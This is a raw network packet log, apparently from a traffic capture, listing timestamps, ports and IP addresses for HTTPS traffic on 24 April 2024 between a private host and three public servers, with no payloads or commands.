Apr 24, 2024 15:43:06.311347008 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.311384916 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.311402082 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.311405897 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.311458111 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.311460972 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.312232018 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.312294006 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.312304974 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.312431097 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.312494040 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.312504053 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.312608957 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.312668085 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.312679052 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.313209057 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.313273907 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.313283920 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.313361883 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.313420057 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.313446045 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.314105034 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.314166069 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.314177036 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.314251900 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.314305067 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.314313889 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.314949036 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.315012932 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.315022945 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.315241098 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.315295935 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.315305948 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.315438032 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.315530062 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.315540075 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.315691948 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.315747976 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.315758944 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.349908113 CEST	443	49744	52.146.76.30	192.168.2.17
Apr 24, 2024 15:43:06.349972010 CEST	443	49744	52.146.76.30	192.168.2.17
Apr 24, 2024 15:43:06.349998951 CEST	443	49744	52.146.76.30	192.168.2.17
Apr 24, 2024 15:43:06.350018978 CEST	443	49744	52.146.76.30	192.168.2.17
Apr 24, 2024 15:43:06.350059032 CEST	443	49744	52.146.76.30	192.168.2.17
Apr 24, 2024 15:43:06.350075960 CEST	49744	443	192.168.2.17	52.146.76.30
Apr 24, 2024 15:43:06.350080967 CEST	443	49744	52.146.76.30	192.168.2.17
Apr 24, 2024 15:43:06.350115061 CEST	443	49744	52.146.76.30	192.168.2.17
Apr 24, 2024 15:43:06.350136995 CEST	49744	443	192.168.2.17	52.146.76.30
Apr 24, 2024 15:43:06.350162983 CEST	49744	443	192.168.2.17	52.146.76.30
Apr 24, 2024 15:43:06.350193977 CEST	49744	443	192.168.2.17	52.146.76.30
Apr 24, 2024 15:43:06.350264072 CEST	443	49744	52.146.76.30	192.168.2.17
Apr 24, 2024 15:43:06.350333929 CEST	443	49744	52.146.76.30	192.168.2.17
Apr 24, 2024 15:43:06.350363970 CEST	49744	443	192.168.2.17	52.146.76.30
Apr 24, 2024 15:43:06.350382090 CEST	443	49744	52.146.76.30	192.168.2.17
Apr 24, 2024 15:43:06.350431919 CEST	49744	443	192.168.2.17	52.146.76.30
Apr 24, 2024 15:43:06.350433111 CEST	49744	443	192.168.2.17	52.146.76.30
Apr 24, 2024 15:43:06.350483894 CEST	443	49744	52.146.76.30	192.168.2.17
Apr 24, 2024 15:43:06.350545883 CEST	49744	443	192.168.2.17	52.146.76.30
Apr 24, 2024 15:43:06.350661993 CEST	49744	443	192.168.2.17	52.146.76.30
Apr 24, 2024 15:43:06.350689888 CEST	443	49744	52.146.76.30	192.168.2.17
Apr 24, 2024 15:43:06.362065077 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.465240002 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.465401888 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.465466976 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.465482950 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.465841055 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.465914965 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.465924978 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.465962887 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.466021061 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.466031075 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.466402054 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.466458082 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.466469049 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.466577053 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.466628075 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.466638088 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.466728926 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.466785908 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.466797113 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.467365980 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.467437029 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.467447042 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.467573881 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.467637062 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.467647076 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.468311071 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.468377113 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.468386889 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.468480110 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.468538046 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.468548059 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.469125986 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.469194889 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.469201088 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.469214916 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.469270945 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.469283104 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.469926119 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.469997883 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.470000982 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.470011950 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.470083952 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.470093966 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.470241070 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.470294952 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.470305920 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.470983028 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.471065998 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.471112013 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.471124887 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.471185923 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.471194029 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.471427917 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.471482038 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.471492052 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.471591949 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.471652031 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.471662045 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.471822977 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.471882105 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.472626925 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.472944975 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.473023891 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.473033905 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.473225117 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.473285913 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.473297119 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.473715067 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.473781109 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.473789930 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.473879099 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.473936081 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.473946095 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.474162102 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.474222898 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.474234104 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.474744081 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.474805117 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.474816084 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.474982977 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.475063086 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.475073099 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.475224018 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.475287914 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.475297928 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.518137932 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.518155098 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.520267010 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.520365000 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.520376921 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.520653963 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.520725965 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.520735979 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.520908117 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.520973921 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.520984888 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.521442890 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.521512032 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.521522999 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.566133022 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.566147089 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.614120007 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.624918938 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.625258923 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.625341892 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.625359058 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.625654936 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.625719070 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.625731945 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.625996113 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.626079082 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.626089096 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.626358986 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.626426935 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.626437902 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.626771927 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.626846075 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.626857042 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.627152920 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.627219915 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.627229929 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.627470016 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.627546072 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.627556086 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.627614021 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.627624035 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.627917051 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.627981901 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.627991915 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.628007889 CEST	443	49747	35.190.80.1	192.168.2.17
Apr 24, 2024 15:43:06.628144979 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.628207922 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.628217936 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.628288984 CEST	49747	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:43:06.628318071 CEST	443	49747	35.190.80.1	192.168.2.17
Apr 24, 2024 15:43:06.628408909 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.628472090 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.628483057 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.628746986 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.628819942 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.628830910 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.629040003 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.629108906 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.629118919 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.629196882 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.629255056 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.629264116 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.629440069 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.629498959 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.629509926 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.629751921 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.629817963 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.629827976 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.629841089 CEST	443	49747	35.190.80.1	192.168.2.17
Apr 24, 2024 15:43:06.629904985 CEST	49747	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:43:06.630048037 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.630111933 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.630121946 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.630367994 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.630433083 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.630445004 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.630778074 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.630832911 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.630842924 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.630916119 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.630942106 CEST	49747	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:43:06.630992889 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.631002903 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.631030083 CEST	443	49747	35.190.80.1	192.168.2.17
Apr 24, 2024 15:43:06.631212950 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.631275892 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.631285906 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.631464005 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.631524086 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.631535053 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.631762981 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.631824970 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.631835938 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.632076025 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.632138968 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.632148981 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.632244110 CEST	49747	443	192.168.2.17	35.190.80.1
Apr 24, 2024 15:43:06.632261038 CEST	443	49747	35.190.80.1	192.168.2.17
Apr 24, 2024 15:43:06.632342100 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.632395983 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.632400990 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.632417917 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.632464886 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.632473946 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.632561922 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.632616043 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.632626057 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.633234024 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.633297920 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.633300066 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.633312941 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.633371115 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.633380890 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.633486986 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.633541107 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.633550882 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.634248972 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.634310007 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.634320021 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.634445906 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.634502888 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.634512901 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.634644032 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.634705067 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.634716034 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.635283947 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.635345936 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.635354996 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.635493040 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.635571957 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.635581017 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.636113882 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.636183023 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.636193991 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.636318922 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.636370897 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.636380911 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.636527061 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.636584997 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.636595011 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.636964083 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.637041092 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.637051105 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.637149096 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.637203932 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.637213945 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.637892962 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.637962103 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.637972116 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.638062954 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.638107061 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.638117075 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.638808012 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.638865948 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.638869047 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.638880968 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.638937950 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.638947010 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.639112949 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.639173985 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.639183998 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.642158031 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.642168045 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.642246962 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.642261982 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.642348051 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.644824982 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.644870043 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.644926071 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.644938946 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.644970894 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.648345947 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.648369074 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.648457050 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.648469925 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.648499012 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.650408983 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.650434971 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.650506973 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.650521040 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.650547981 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.654011965 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.654031038 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.654108047 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.654119968 CEST	443	49746	104.21.50.148	192.168.2.17
Apr 24, 2024 15:43:06.654181957 CEST	49746	443	192.168.2.17	104.21.50.148
Apr 24, 2024 15:43:06.656670094 CEST	443	49746	104.21.50.148	192.168.2.17
